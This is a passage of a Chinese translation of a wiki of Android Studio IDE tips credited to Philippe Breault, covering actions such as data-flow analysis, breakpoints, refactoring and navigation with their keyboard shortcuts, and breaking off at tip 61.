Main](https://github.com/void-main) * 状态 : 完成 # 每个 Android 开发者都应该读的 Android Studio Tips 欢迎来到Phillipe Breault发布的Android Studio技巧wiki页面。 我创建了这个仓库是因为我认为Phillipe Breault发布的每一个Android Studio技巧都应该被记录下来。 随着新技巧的发布,我将会一直保持更新。 敬请关注!! 鸣谢:[Philippe Breault](https://plus.google.com/u/0/+PhilippeBreault) # 1. 分析传入数据流(Analyze data flow to here) - **描述:**这个操作将会根据当前选中的变量、参数或者字段,分析出其传递到此处的路径。 当你进入某段陌生的代码,试图明白某个参数是怎么传递到此处的时候,这是一个非常有用的操作。 - **调用:**Menu → Analyze → Analyze Data Flow to Here - **快捷键:**无,可以在设置中指定。 - **相反的操作:**分析传出数据流(Analyze data flow from here),这个将会分析当前选中的变量往下传递的路径,直到结束。 ![](https://lh4.googleusercontent.com/-Fv4MxHWIdHw/VCFWY4Ykv0I/AAAAAAAANoQ/YVe2hmnkAPE/w667-h348-no/31-analyzedataflow.gif) # 2. 堆栈追踪分析(Analyze Stacktrace) - **描述:** 这个操作读取一份堆栈追踪信息,并且使它像logcat中那样可以点击。当你从bug报告中或者终端复制了一份堆栈追踪,使用该操作可以很方便地调试。 - **调用:**Menu → Analyze → Analyze Stacktrace - **快捷键:**无,可以在设置中指定。 - **更多:**通过使用“ProGuard Unscramble Plugin”插件,也可以分析混淆过的堆栈追踪。 ![](https://lh3.googleusercontent.com/-ud2l1QdHTow/VCAEACCK1bI/AAAAAAAANmY/5a3od9nIm2E/w676-h392/30-analyzestacktrace.gif) # 3. 关联调试程序(Attach Debugger) - **描述:**随时启动调试程序,即使你没有以调试模式启动你的应用。这是一个很方便的操作,因为你不必为了调试程序而以调试模式重新部署你的应用。当别人正在测试应用,突然遇到一个bug而将设备交给你时,你也可以很快地进入调试模式。 - **调用:**点击工具栏图标或者Menu → Build → Attach to Android Process - **快捷键:**无,可以在设置中指定,或者点击工具栏对应的图标。 ![](https://lh3.googleusercontent.com/-yOySWA1dWPU/VBgiH8KnkGI/AAAAAAAANfU/0E6-y0u5sic/w378-h236-no/26-attachdebugger.gif) # 4. 书签(Bookmarks) - **描述:**这是一个很有用的功能,让你可以在某处做个标记(书签),方便后面再跳转到此处。 - **调用:**Menu → Navigate → Bookmarks - **快捷键:** - 添加/移除书签:F3(OS X) 、F11(Windows/Linux); - 添加/移除书签(带标记):Alt + F3(OS X)、Ctrl + F11(Windows/Linux); - 显示全部书签:Cmd + F3(OS X) 、Shift + F11(Windows/Linux),显示所有的书签列表,并且是可以搜索的。 - 上一个/下一个书签:无,可以在设置中设置快捷键。 - **更多:**当你为某个书签指定了标记,你可以使用快捷键 Ctrl + 标记 来快速跳转到标记处,比如输入Ctrl + 1,跳到标记为1的书签处。 ![](https://lh4.googleusercontent.com/-Srf301d5soU/U_M7Y6YtTpI/AAAAAAAAM2w/o5cIvPjGwNo/w848-h371-no/07-bookmarks.gif) # 5. 折叠/展开代码块(Collapse Expand Code Block) - **描述:**该操作提供一种方法,让你隐藏你不关心的部分代码,以一种较为简洁的格式显示关键代码。一个有意思的用法是隐藏匿名内部类的代码,让其看起来像一个Lambda表达式。 - **快捷键:**Cmd + "+"/"-"(OS X)、Ctrl + Shift + "+"/"-"(Windows/Linux); - **更多:**可以在Settig → Editor → General → Code Folding 中设置折叠规则。 ![](https://lh4.googleusercontent.com/-sx5EajIBZsY/U_HpxtCFalI/AAAAAAAAM1Q/T-8P33ntdlE/w268-h147-no/06-codefolding.gif) # 6. 列选择/块选择(Column Selection) - **描述:**正常选择时,当你向下选择时,会直接将当前行到行尾都选中,而块选择模式下,则是根据鼠标选中的矩形区域来选择。 - **调用:**按住Alt,然后拖动鼠标选择。 - 开启/关闭块选择:Menu → Edit → Column Selection Mode - **快捷键:**切换块选择模式:Cmd + Shift + 8(OS X)、Shift + Alt + Insert(Windows/Linux); ![](https://lh5.googleusercontent.com/-sw7u-9Usecg/VCP-tea3SEI/AAAAAAAANr4/Cyla2sVqsUI/w497-h137-no/33-columnselection.gif) # 7. 与分支比对(Compare With Branch (Git)) - **描述:**假如你的项目是使用git来管理的,你可以将当前文件或者文件夹与其他的分支进行比对。比较有用的是可以让你了解到你与主分支有多少差别。 - **调用:**Menu → VCS → Git → Compare With Branch ![](https://lh6.googleusercontent.com/-xW1J3BBZHZc/VC6FVCMexWI/AAAAAAAAN8M/GEJqszoqzXk/w570-h328-no/38-comparewithbranch.gif) # 8. 与剪切板比对(Compare With Clipboard) - **描述:**将当前选中的部分与剪切板上的内容进行比对。 - **调用:**右键选中的部分,在右键菜单中选择“Compare With Clipboard”。 ![](https://lh6.googleusercontent.com/-6rDn8kL7Pgw/VClEM13oYKI/AAAAAAAAN0o/JWiduW1pWsU/w519-h265-no/34-comparewithclipboard.gif) # 9. 语句补全(Complete Statement) - **描述:**这个方法将会生成缺失的代码来补全语句,常用的使用场景如下: - 在行末添加一个分号,即使光标不在行末; - 为if、while、for 语句生成圆括号和大括号; - 方法声明后,添加大括号; - **调用:**Menu → Edit → Compelete Current Statement - **快捷键:**Cmd + Shift + Enter(OS X)、Ctrl + Shift + Enter(Windows/Linux); - **更多:**如果一个语句已经补全,当你执行该操作时,则会直接跳到下一行,即使光标不在当前行的行末。 ![](https://lh6.googleusercontent.com/-oZeWSimrvoU/VAWr5QoA-oI/AAAAAAAANQE/0LxL0LkN8Jw/w281-h124-no/16-completestatement.gif) # 10. 条件断点(Conditional Breakpoints) - **描述:**简单说,就是当设定的条件满足时,才会触发断点。你可以基于当前范围输入一个java布尔表达式,并且条件输入框内是支持代码补全的。 - **调用:**右键需要填写表达式的断点,然后输入布尔表达式。 ![](https://lh6.googleusercontent.com/-p9k6JiNLQmY/VBAweflrkYI/AAAAAAAANX8/gCaufjGbd1c/w514-h264-no/22-conditionalbreakpoint.gif) # 11. 上下文信息(Context Info) - **描述:**当前作用域定义超过滚动区域,执行该操作将显示所在的上下文信息,通常它显示的是类名或者内部类类名或者当前所在的方法名。该操作在xml文件中同样适用。 - **调用:**Menu → View → Context Info - **快捷键:**Alt + Q (Windows/Linux) - **更多:**个人认为,这个功能更好的用法是快速查看当前类继承的父类或者实现的接口。 ![](https://lh4.googleusercontent.com/-FNg2h15F4c0/VD-rJupXgkI/AAAAAAAAOL4/lfaQmbjwpaw/w574-h174-no/47-contextinfo.gif) # 12. 删除行(Delete Line) - **描述:**如果没选中,则删除光标所在行,如果选中,则会删除选中所在的所有行。 - **快捷键:**Cmd + Delete(OS X)、Ctrl + Y(Windows/Linux) ![](https://lh3.googleusercontent.com/-bP5WOVMfp7A/U_cpQi0bvhI/AAAAAAAAM9c/dcvvJu1US40/w265-h103-no/10-deleteline.gif) # 13. 禁用断点(Disable Breakpoints) - 这个操作将使得断点。当你有一个设置过复杂条件的断点或者是日志断点,当前不需要,但是下次又不用重新创建,该操作是很方便的。 - **调用:**按住Alt,然后单击断点即可。 ![](https://lh3.googleusercontent.com/-hNk0kuL1WBM/VBbQXamG8-I/AAAAAAAANeM/ynfSJ5hqCvA/w365-h235-no/25-diablebreakpoint.gif) # 14. 行复制(Duplicate Line) - **描述:**复制当前行,并粘贴到下一行,这个操作不会影响剪贴板的内容。这个命令配合移动行快捷键非常有用。 - **快捷键:**Cmd + D(OS X)、Ctrl + D(Windows/Linux) ![](https://lh6.googleusercontent.com/-1dno1jn2Pcg/U_sfhOxXTkI/AAAAAAAANC8/8sl3TVz1dAo/w265-h103-no/11-duplicate_lines.gif) # 15. 编写正则表达式(Edit Regex) - **描述:**使用Java编写正则表达式是一件很困难的事,主要原因是: - 你必须得避开反斜杠; - 说实话,正则很难; - 看第二条。 IDE能帮我们干点啥呢?当然是一个舒服的界面来编写和测试正则啦~ - **快捷键:**Alt + Enter → check regexp ![](https://lh4.googleusercontent.com/-zinVQioQi0c/VGX3txYe0iI/AAAAAAAAO5c/D5nhpSSyImk/w419-h170-no/68-checkregexp.gif) # 16. 使用Enter和Tab进行代码补全的差别(Enter vs Tab for Code Completion) - **描述:**代码补全时,可以使用Enter或Tab来进行补全操作,但是两者是有差别的。 - 使用Enter时:从光标处插入补全的代码,对原来的代码不做任何操作。 - 使用Tab时:从光标处插入补全的代码,并删除后面的代码,直到遇到点号、圆括号、分号或空格为止。 ![](https://lh3.googleusercontent.com/-zkDYRijGp4A/VD0KtdkrqFI/AAAAAAAAOJE/wEr134jmFxE/w252-h123-no/45-codecompletionentertab.gif) # 17. 计算表达式(Evaluate Expression) - **描述:**这个操作可以用来查看变量的内容并且计算几乎任何有效的java表达式。需要注意的是,如果你修改了变量的状态,这个状态在你恢复代码执行后依然会保留。 - **快捷键:**处在断点状态时,光标放在变量处,按Alt + F8,即可显示计算表达式对话框。 ![](https://lh5.googleusercontent.com/-yVa3T6tUVJE/VBls7HooneI/AAAAAAAANg0/MtJpIKCVEws/w739-h215-no/27-evaluateexpression.gif) # 18. 提取方法(Extract Method) - **描述:**提取一段代码块,生成一个新的方法。当你发现某个方法里面过于复杂,需要将某一段代码提取成单独的方法时,该技巧是很有用的。 - **调用:**Menu → Refactor → Extract → Method - **快捷键:**Cmd + Alt + M(OS X)、Ctrl + Alt + M(Windows/Linux); - **更多:**在提取代码的对话框,你可以更改方法的修饰符和参数的变量名。 ![](https://lh3.googleusercontent.com/-9QE0n8if48M/VEpNnAADJvI/AAAAAAAAOaA/hdn-oMyW-VA/w584-h458-no/53-extractmethod.gif) # 19. 提取参数(Extract Parameter) - **描述:**这是一个提取参数的快捷操作。当你觉得可以通过提取参数来优化某个方法的时候,这个技巧将很有用。该操作会将当前值作为一个方法的参数,将旧的值放到方法调用的地方,作为传进来的参数。 - **调用:**Menu → Refactor → Extract → Parameter - **快捷键:**Cmd + Alt + P(OS X)、Ctrl + Alt + P(Windows/Linux); - **更多:**通过勾选“delegate”,可以保持旧的方法,重载生成一个新方法。 ![](https://lh6.googleusercontent.com/-056PKjDxw7U/VEjoRXblk9I/AAAAAAAAOXo/DWOEUMikWMU/w474-h263-no/52-extractparam.gif) # 20. 提取变量(Extract Variable) - **描述:**这是一个提取变量的快捷操作。当你在没有写变量声明的直接写下值的时候,这是一个很方便生成变量声明的操作,同时还会给出一个建议的变量命名。 - **调用:**Menu → Refactor → Extract → Variable - **快捷键:**Cmd + Alt + V(OS X)、Ctrl + Alt + V(Windows/Linux); - **更多:**当你需要改变变量声明的类型,例如使用 List 替代 ArrayList,可以按下Shift + Tab,就会显示所有可用的变量类型。 ![](https://lh3.googleusercontent.com/-76GH8fwlP8w/VEeXW1x5qcI/AAAAAAAAOV0/Y_DTUoO5V-c/w368-h269-no/51-extractvariable.gif) # 21. 查找操作(Find Action) - **描述:**输入某个操作的名称,快速查找,对于没有快捷键的部分操作这是一个很有用的技巧。 - **快捷键:**Cmd +Shift + A(OS X)、Ctrl + Shift + A(Windows/Linux); - **更多:**当某个操作是有快捷键的,会显示在旁边。 ![](https://lh3.googleusercontent.com/-1R5g6c953Pc/U_SJUUK_zZI/AAAAAAAAM4A/78kPgI_U5X4/w500-h233-no/08-findaction.gif) # 22. 查找补全(Find Complection) - **描述:**当你在一个文件中进行查找时,使用自动补全快捷键可以给出在当前文件中出现的建议单词; - **快捷键:**Cmd + F(OS X),Ctrl + F(Windows/Linux),输入一些字符,然后使用自动补全; ![](https://lh4.googleusercontent.com/-8HBauw90IYU/VFoSq77EbfI/AAAAAAAAOss/_8BMNjgAst4/w418-h268-no/61-findcompletion.gif) # 23. 隐藏所有面板(Hide All Panels) - **描述:**切换编辑器铺满整个程序界面,隐藏其他的面板。再次执行该操作,将会回到隐藏前的状态。 - **调用:**Menu → Window → Active Tool Window → Hide All Windows; - **快捷键:**Cmd +Shift + F12(OS X)、Ctrl + Shift + F12(Windows/Linux); ![](https://lh5.googleusercontent.com/-I5KEtqjL6cc/VDZuyxdTi7I/AAAAAAAAOB8/jrMR5xhtmEI/w566-h387-no/42-hideallwindows.gif) # 24. 高亮一切(Hightlight All the Things) - **描述:**该操作将会高亮某个字符在当前文件中所有出现的地方。这不仅仅是简单的匹配,实际上它会分析当前的作用域,只高亮相关的部分。 - **调用:**Menu → Edit → Find → Highlight Usages in File; - **定位到上一处/下一处:**Menu → Edit → Find → Find Next/Previous; - **快捷键:**相关快捷键请在菜单中查看; - **更多:** - 如果高亮一个方法的`return`或`throw`语句,将会高亮这个方法的所有出口/结束点; - 如果高亮某个类定义处的`extend`或`implements`语句,将会高亮继承的或实现的方法; - 高亮一个`import`语句也会高亮使用到的地方; - 按下Esc可以退出高亮模式; ![](https://lh4.googleusercontent.com/-PHQFYqcYi58/U-tQtazuCbI/AAAAAAAAMrE/SGNBmtGwMAk/w198-h184-no/01-highlight.gif) # 25. 内置(Inline) - **描述:**当你开始对提取操作有点兴奋的时候,突然觉得东西太多了,怎么办呢?这是一个和提取相反的操作。该操作对方法、字段、参数和变量均有效。 - **调用:**Menu → Refactor → Inline - **快捷键:**Cmd + Alt + N(OS X)、Ctrl + Alt + N(Windows/Linux); ![](https://lh6.googleusercontent.com/-OgvCsxlSlhk/VE4ztIVmEgI/AAAAAAAAOc4/TJdTcGGzeZc/w495-h232-no/54-inline.gif) # 26. 审查变量(Inspect Variable) - **描述:**该操作可以在不打开计算表达式对话框就能审查表达式的值。 - **快捷键:**调试状态下,按住Alt键,然后单击表达式即可。 ![](https://lh3.googleusercontent.com/-e8FaMIQ-o4g/VBq_YKo27NI/AAAAAAAANiQ/RLl4c4nQCMQ/w783-h250-no/28-mouse_evaluate_expression.gif) # 27. 合并行和文本(Join Lines and Literals) - **描述:**这个操作比起在行末使劲按删除键爽多了!该操作遵守格式化规则,同时: - 合并两行注释,同时移除多余的`//`; - 合并多行字符串,移除`+`和双引号; - 合并字段的声明和初始化赋值; - **快捷键:**Ctrl + Shift + J; ![](https://lh3.googleusercontent.com/-B18BYlHuIe0/VAhGAtACHPI/AAAAAAAANSc/GzYIuGENiXU/w365-h303-no/18-joinlines.gif) # 28. 回到上一个工具窗口(Jump to Last Tool Window) - **描述:**有时候你会从某个工具窗口跳到编辑器里面,然后又需要重新回到刚才操作的那个工具窗,比如你查找使用情况的时,使用该操作可以在不使用鼠标的情况下跳转到之前的工具窗口。 - **快捷键:**F12; ![](https://lh5.googleusercontent.com/-1i-62oPE1_c/VDUgjA0EglI/AAAAAAAAOAc/zHw0D-zDW8c/w495-h176-no/41-lasttoolwindow.gif) # 29. 上一个编辑位置(Last Edit Location) - **描述:**该操作将使得你导航到上一处你改动过的地方,这与点击工具栏上的返回箭头回到上一个定位位置是不一样的,该操作将会返回到上一个编辑的位置。 - **快捷键:** Cmd + Shift + Delete(OS X)、Ctrl + Shift + Backspace(Windows/Linux); ![](https://lh3.googleusercontent.com/-I7EB361tSvQ/VAcAhKjmftI/AAAAAAAANQw/WJ12zWckTx0/w339-h100-no/17-navigate-previous-changes.gif) # 30. 动态模板(Live Templates) - **描述:**动态模板是一种快速插入代码片段的方法,使用动态模板比较有意思的是你可以使用合适的默认值将模板参数化,当你插入代码片段时,这可以指导你完成参数。 - **更多:**如果你知道模板的缩写,就可以不必使用快捷键,只需要键入缩写并使用Tab键补全即可。 - **快捷键:**Cmd + J(OS X)、Ctrl + J(Windows/Linux); ![](https://lh5.googleusercontent.com/-uDazeA2SuDU/VABeDd244gI/AAAAAAAANL0/LvID7zv5dbA/w456-h258-no/15-live_templates.gif) # 31. 日志断点(Logging Breakpoints) - **描述:**这是一种打印日志而不是暂停的断点,当你想打印一些日志信息但是不想添加`log`代码后重新部署项目,这是一个非常有用的操作。 - **调用:**在断点上右键,取消`Suspend`的勾选,然后勾选上`Log evaluated Expression`,并在输入框中输入你要打印的日志信息。 ![](https://lh6.googleusercontent.com/-HCtmbS0lEX4/VBGLfCszvyI/AAAAAAAANZg/pnjHOIPJP4U/w601-h470-no/23-loggingbreakpoints.gif) # 32. 标记对象(Mark Object) - **描述:**当你在调试的时候,这个操作可以让你给某个特殊的对象添加一个标签,方便你后面很快地辨认。在调试时,当你从一堆相似的对象中查看某个对象是否和之前是一样的,这就是一个非常有用的操作。 - **调用:**右键你需要标记的对象,选中`Mark Object`,输入标签; - **快捷键:**选中对象时,按F3(OS X)、F11(Windows/Linux); ![](https://lh5.googleusercontent.com/-YucV0sOVgXE/VBwUt3L0gWI/AAAAAAAANjk/24G70gPtFv0/w607-h301-no/29-markobject.gif) # 33. 在方法和内部类之间跳转(Move Between Methods and Inner Classes) - **描述:**该操作让光标在当前文件的方法或内部类的名字间跳转。 - **调用:**Navigate → Next Method/Previous Method; - **快捷键:**Ctrl + Up/Down(OS X)、Alt + Up/Down(Windows/Linux); ![](https://lh4.googleusercontent.com/-FXLgOWtteIo/U-ygY2U1y1I/AAAAAAAAMsQ/hxJUIs_kgvw/w425-h414-no/02-move_between_methods.gif) # 34. 上下移动行(Move Lines Up Down) - **描述:**不需要复制粘贴就可以上下移动行了。 - **快捷键:**Alt + Shift + Up/Down; ![](https://lh5.googleusercontent.com/-vkDNFuL049E/U_XXi3NMx9I/AAAAAAAAM58/dwQ6qz2vCWY/w279-h122-no/09-movelines.gif) # 35. 移动方法(Move Methods) - **描述:**这个操作和移动行操作很类似,不过该操作是应用于整个方法的,在不需要复制、粘贴的情况下,就可以将整个方法块移动到另一个方法的前面或后面。该操作的实际叫做“移动语句”,这意味着你可以移动任何类型的语句,你可以方便地调整字段或内部类的顺序。 - **快捷键:**Cmd + Alt + Up/Down(OS X)、Ctrl + Shift + Up/Down(Windows/Linux); ![](https://lh6.googleusercontent.com/-mZG5Fj_QM_Q/VARxn8TXmkI/AAAAAAAANOk/ASUpXpD-NLg/w264-h266-no/15-movemethods.gif) # 36. 定位到嵌套文件(Navigate to Nested File) - **描述:**有时你有一堆存放在不同目录下的同名文件,例如不同模块下的`AndroidManifest.xml`文件,当你想定位到其中的一个文件,你会得到一堆搜索结果,你还得辨认哪个才是你需要的。通过在检索框中输入部分路径的前缀,并添加斜杠号,你就可以在第一次尝试的时候就找到正确的那个。 - **快捷键:**Cmd + O(OS X)、Ctrl + N(Windows/Linux); ![](https://lh6.googleusercontent.com/-23C2Q2S0c2E/VFzEI5iu0GI/AAAAAAAAOwM/Os1jGMHGVIA/w418-h268-no/63-nestednavigation.gif) # 37. 定位到父类(Navigate to parent) - **描述:**如果光标是在一个继承父类重写的方法里,这个操作将定位到父类实现的地方。如果光标是在类名上,则定位到父类类名。 - Menu → Navigate → Super Class/Method - **快捷键:**Cmd + U(OS X)、Ctrl + U(Windows/Linux); ![](https://lh3.googleusercontent.com/-HCX5cbjkiuo/VDJ-dJa7wUI/AAAAAAAAN-M/dW0h7cQ9l0Y/w416-h290/39-navigatetoparent.gif) # 38. 取反补全(Negation Completion) - **描述:**有时你自动补全一个布尔值,然后回到该值的前面添加一个感叹号来完成取反操作,现在通过使用输入`!`代替`enter`完成补全操作,就可以跳过这些繁琐的操作了。 - **快捷键:**代码补全的时候,按下`!`即可(有时需要上下键选中候选项); ![](https://lh5.googleusercontent.com/-L971XD2Nezg/VFN0qljSJQI/AAAAAAAAOj8/5k9fkjOwjIQ/w466-h254-no/58-negatecompletion.gif) # 39. 根据编号打开面板(Open a Panel by Its Number) - **描述:**你可能已经注意到某些面板的名称左边有一个数字,这里有个快捷操作可以打开它们。如果你没看到面板的名称,请点击IDE的左下角的切换按钮。 - **快捷键:**Cmd + 数字(OS X)、Alt + 数字(Windows/Linux); ![](https://lh3.googleusercontent.com/-9qiNX0P0KSk/VDfBFEAKW8I/AAAAAAAAOD4/HytPoJV07BA/w567-h387-no/42-openpanelbynumber.gif) # 40. 在外部打开文件(Open File Externally) - **描述:**通过这个快捷键,简单地点击Tab,就可以打开当前文件所在的位置或者该文件的任意上层路径。 - **快捷键:**Cmd + 单击Tab(OS X)、Ctrl + 点击Tab(Windows/Linux); ![](https://lh5.googleusercontent.com/-EAoir3ZP1bM/VFtyO5OaU_I/AAAAAAAAOug/b6jeKDVT-BM/w418-h268-no/62-openfinder.gif) # 41. 参数信息(Parameter Info) - **描述:**这个操作将显示和你在方法声明处写一样的参数列表,当你想看某个存在的方法的参数,这是一个很有用的操作。光标下的参数显示为黄色,如果没有参数显示黄色,意味着你的方法调用是无效的,很可能是某个参数分配不对。(例如一个浮点数赋值给了整型参数)。如果你正在写一个方法调用,突然离开编辑的地方,再返回的时候,输入一个逗号,就可以重新触发参数信息。 - **快捷键:**Cmd + P(OS X)、Ctrl + U(Windows/Linux); ![](https://lh4.googleusercontent.com/-npufWa5yynk/VDvJpJ717BI/AAAAAAAAOHs/Sx3OHdapfRk/w472-h195-no/44-parameterinfo.gif) # 42. 后缀补全(Postfix Completion) - **描述:**你可以认为该操作是一种代码补全,它会在点号之前生成代码,而不是在点号之后。实际上你调用这个操作和正常的代码补全操作一样:在一个表达式之后输入点号。 例如对一个列表进行遍历,你可以输入`myList.for`,然后按下Tab键,就会自动生成`for`循环代码。 - **调用:** 你可以在某个表达式后面输入点号,出现一个候选列表,在常规的代码补全提示就可以看到一系列后缀补全关键字,同样的,你也可以在`Editor → Postfix Completion`中看到一系列后缀补全关键字。 - 常用的有后缀补全关键字有: - **.for** (补全foreach语句) - **.format** (使用`String.format()`包裹一个字符串) - **.cast** (使用类型转化包裹一个表达式) ![](https://lh5.googleusercontent.com/-rLMdeb9cbBM/VCVUw0Y656I/AAAAAAAANt8/J2KiRPMjRzs/w474-h136-no/33-postfixcompletion.gif) # 43. 快速查看定义(Quick Definition Lookup) - **描述:**你曾经是否想查看一个方法或者类的具体实现,但是不想离开当前界面? 该操作可以帮你搞定。 - **快捷键:**Alt + Space / Cmd + Y(OS X)、Ctrl + Shift + I(Windows/Linux) ![](https://lh4.googleusercontent.com/-m6b46h-k1ac/U_Ca197xNxI/AAAAAAAAMyQ/6W2kUyV6Ru0/w584-h191-no/05-quickdefinition.gif) # 44. 最近修改的文件(Recently Changed Files) - **描述:**该操作类似于“最近访问(Recents)”弹窗,会显示最近本地修改过的文件列表,根据修改时间排列。可以输入字符来过滤列表结果。 - **快捷键:**Cmd + Shift + E(OS X)、Ctrl + Shift + E(Windows/Linux) ![](https://lh4.googleusercontent.com/-_WNvGPZ3az0/VET1ysjYmEI/AAAAAAAAOSA/bpAbyKszjtU/w411-h365-no/49-recentlyedited.gif) # 45. 最近访问(Recents) - **描述:**该操作可以得到一个最近访问文件的可搜索的列表。 - **快捷键:**Cmd + E(OS X)、Ctrl + E(Windows/Linux) ![](https://lh3.googleusercontent.com/-EPVBvnrdPgM/U_8OI4fcZfI/AAAAAAAANKE/FjVm2bKiJzA/w480-h300-no/14-recents.gif) # 46. 重构(Refactor This) - **描述:**该操作可以显示所有对当前选中项可行的重构方法。这个列表可以用数字序号快速选择。 - **快捷键:**Ctrl + T(OS X)、Ctrl + Alt + Shift + T(Windows/Linux) ![](https://lh5.googleusercontent.com/-S_zwUzYS4gk/VEZBrBGH0lI/AAAAAAAAOUw/n7QoGhegtZQ/w480-h206-no/50-relatedfile.gif) # 47. 相关文件(Related File) - **描述:**该操作有助于在布局文件和Activity/Fragment之间轻松跳转。这也是一个快捷操作,在类名/布局顶端的左侧。 - **快捷键:**Ctrl + Cmd + Up(OS X)、Ctrl + Alt + Home(Windows/Linux) ![](https://lh5.googleusercontent.com/-S_zwUzYS4gk/VEZBrBGH0lI/AAAAAAAAOUw/n7QoGhegtZQ/w480-h206-no/50-relatedfile.gif) # 48. 重命名(Rename) - **描述:**你可以通过该操作重命名变量、字段、方法、类、包。当然了,该操作会确保重命名对上下文有意义,不会无脑替换掉所有文件中的名字; - **快捷键:**Shift + F6 - **更多:**如果你忘记了这个快捷键,你可以使用快速修复(Quick Fix)的快捷键,它通常包含重命名选项。 ![](https://lh4.googleusercontent.com/-ARaBtgwf8cc/VE97brZNoII/AAAAAAAAOeE/0JlFDxsxH5g/w332-h177-no/55-rename.gif) # 49. 返回到编辑器(Return to the Editor) - **描述:**一大堆快捷键操作会把你从编辑器带走(type hierarchy, find usages, 等等)。如果你想返回到编辑器,你有两个选项: 1. Esc:该操作仅仅把光标移回编辑器。 2. Shift + Esc:该操作会关闭当前面板,然后把光标移回到编辑器。 - **快捷键:** - 返回但保留打开的面板:Esc - 关闭面板并返回:Shift + Esc ![](https://lh6.googleusercontent.com/-q4dM4dIngCI/VDPLU9ZaohI/AAAAAAAAN_g/5IEsckp4usI/w550-h299-no/40-returntoeditor.gif) # 50. Select In - **描述:**拿着当前文件然后问你在哪里选中该文件。恕我直言,最有用的就是在项目结构或者资源管理器中打开该文件。每一个操作都有数字或者字母作为前缀,可以通过这个前缀来快速跳转。通常,我会 Alt + F1 然后 回车(Enter) 来打开项目视图,然后 再用 Alt + F1 在OS X的Finder里找到文件。你可以在文件中或者直接在项目视图里使用该操作。 - **快捷键:**Alt + F1; ![](https://lh5.googleusercontent.com/-MFV8-JsmzSU/VAmquOrEs8I/AAAAAAAANT0/_2TV_0RGtgg/w449-h337-no/19-select-in.gif) # 51. 分号/点 补全(Semicolon Dot Completion) - **描述:**代码补全这个功能太棒啦!我们大概都对以下这种情况很熟悉:开始输入点什么东西,接着从IDE得到一些建议的选项,然后通过Enter或者Tab来选择我们想要的补全代码。其实还有另外一种方法来选择补全的代码:我们可以输入一个点(.)或者一个分号(;)。这样就会完成补全,添加所选字符。这在结束一条语句补全或者快速链式调用方法的时候特别有用。 - **注意点:**如果你要代码补全的方法需要参数,这些参数会被略过。 - **快捷键:**Autocomplete + "." 或者 ";" ![](https://lh4.googleusercontent.com/-rkL6r3uJeeI/VGnwEJ9ULYI/AAAAAAAAO90/biElGOpX60I/w352-h177-no/69-semicolondotcompletion.gif) # 52. 显示当前运行点(Show Execution Point) - **描述:**该操作会立刻把你的光标移回到当前debug处。 通常的情况是: 1. 你在某处触发了断点 2. 然后在文件中随意浏览 3. 直接调用这个快捷键,快速返回之前逐步调试的地方。 - **快捷键:**(Debug时) Alt + F10; ![](https://lh3.googleusercontent.com/-sXEoJvHd_QQ/VCvo5CMmOuI/AAAAAAAAN5c/zq_9YB05-3U/w443-h287-no/36-executionpoint.gif) # 53. 扩大选择(Extend Selection) - **描述:**该操作会在上下文逐渐扩大当前选择范围。例如,它会先选中当前变量,再选中当前语句,然后选中整个方法,等等。 - **快捷键:**Alt + ↓ (OS X)、Ctrl + w (Windows、Linux) ![](https://lh6.googleusercontent.com/-7KdcfTVc-is/U_xh2BbGyzI/AAAAAAAANFE/joWJV9qWBB4/w357-h212-no/12-expand_shrink_selection.gif) # 54. 终止进程(Stop Process) - **描述:**该操作会终止当前正在运行的任务。如果任务数量大于一,则显示一个列表供你选择。在终止调试或者中止编译的时候特别有用! - **快捷键:**Cmd + F2(OS X)、Ctrl + F2(Windows、Linux); ![](https://lh4.googleusercontent.com/-6i3EY9IZJBg/VCqVy_ab3EI/AAAAAAAAN4U/ebD7lM9J68Q/w451-h265-no/35-stoprocess.gif) # 55. Sublime Text式的多处选择(Sublime Text Multi Selection) - **描述:**这个功能超级赞!该操作会识别当前选中字符串,选择下一个同样的字符串,并且添加一个光标。这意味着你可以在同一个文件里拥有多个光标,你可以同时在所有光标处输入任何东西。 - **快捷键:**Ctrl + G(OS X)、Alt + J(Windows、Linux) ![](https://lh6.googleusercontent.com/-WnxHwPuakFo/VCKmDdkETtI/AAAAAAAANqM/ZHrNT4clOZ0/w228-h146-no/32-multiselection.gif) # 56. 包裹代码(Surround With) - **描述:** 该操作可以用特定代码结构包裹住选中的代码块,通常是if语句,循环,try/catch语句或者runnable语句。 如果你没有选中任何东西,该操作会包裹当前一整行。 - **快捷键:**Cmd + Alt + T(OS X)、Ctrl + Alt + T(Windows/Linux) ![](https://lh3.googleusercontent.com/-WNvPYepdWXY/U_268lLrzWI/AAAAAAAANHc/CgirqvEZTbw/w299-h167-no/13-surround_with.gif) # 57. 临时断点(Temporary Breakpoints) - **描述:**通过该操作可以添加一个断点,这个断点会在第一次被命中的时候自动移除。 - **快捷键:**Alt + 鼠标左键 点击代码左侧(鼠标)、Cmd + Alt + Shift + F8(OS X)、Ctrl + Alt + Shift + F8(Windows/Linux) ![](https://lh6.googleusercontent.com/-v8cbsJxsip0/VBLWIO7o0FI/AAAAAAAANbo/XNNiE_ZDCg0/w487-h212-no/24-temporarybreakpoints.gif) # 58. 调用层级树弹窗(The Call Hierarchy Popup) - **描述:**该操作会给你展示 在一个方法的声明和调用之间所有可能的路径。 - **快捷键:**Ctrl + Alt + H ![](https://lh6.googleusercontent.com/-Edb4Dy_berY/U-9E-x1D78I/AAAAAAAAMwg/Mq7X_Xvj-qg/w451-h384-no/04-callinghierarchy.gif) # 59. 文件结构弹窗(The File Structure Popup) - **描述:**该操作可以展示当前类的大纲,并且可以快速跳转。你还可以通过键盘输入来过滤结果。这是一种很高效的方法来跳转到指定方法。 - **更多:** - 你在输入字符的时候可以用驼峰风格来过滤选项。比如输入"oCr"会找到"onCreate" - 你可以通过勾选多选框来决定是否显示匿名类。这在某些情况下很有用,比如你想直接跳转到一个OnClickListener的onClick方法。 - **快捷键:**Cmd + F12(OS X)、Ctrl + F12(Windows/Linux) - **调用:**Menu → Navigate → File Structure ![](https://lh6.googleusercontent.com/-oU5M7gpIox0/U-38k3PKTbI/AAAAAAAAMvY/FtzUQhfhvIc/w326-h297-no/03-filestructure.gif) # 60. 切换器(The Switcher) - **描述:**该快捷键基本上就是IDE的alt+tab/cmd+tab命令。你可以用它在导航tab或者面板切换。一旦打开这个窗口,只要一直按着ctrl键,你可以通过对应的数字或者字母快捷键快速选择。你也可以通过backspace键来关闭一个已选中的tab或者面板。 - **快捷键:**Ctrl + Tab ![](https://lh5.googleusercontent.com/-AUk6sHCcJVo/VD5Xhfy0uHI/AAAAAAAAOKg/O9z7RomZZ3I/w532-h349-no/46-switcher.gif) # 61. 移除包裹代码(Unwrap Remove) - 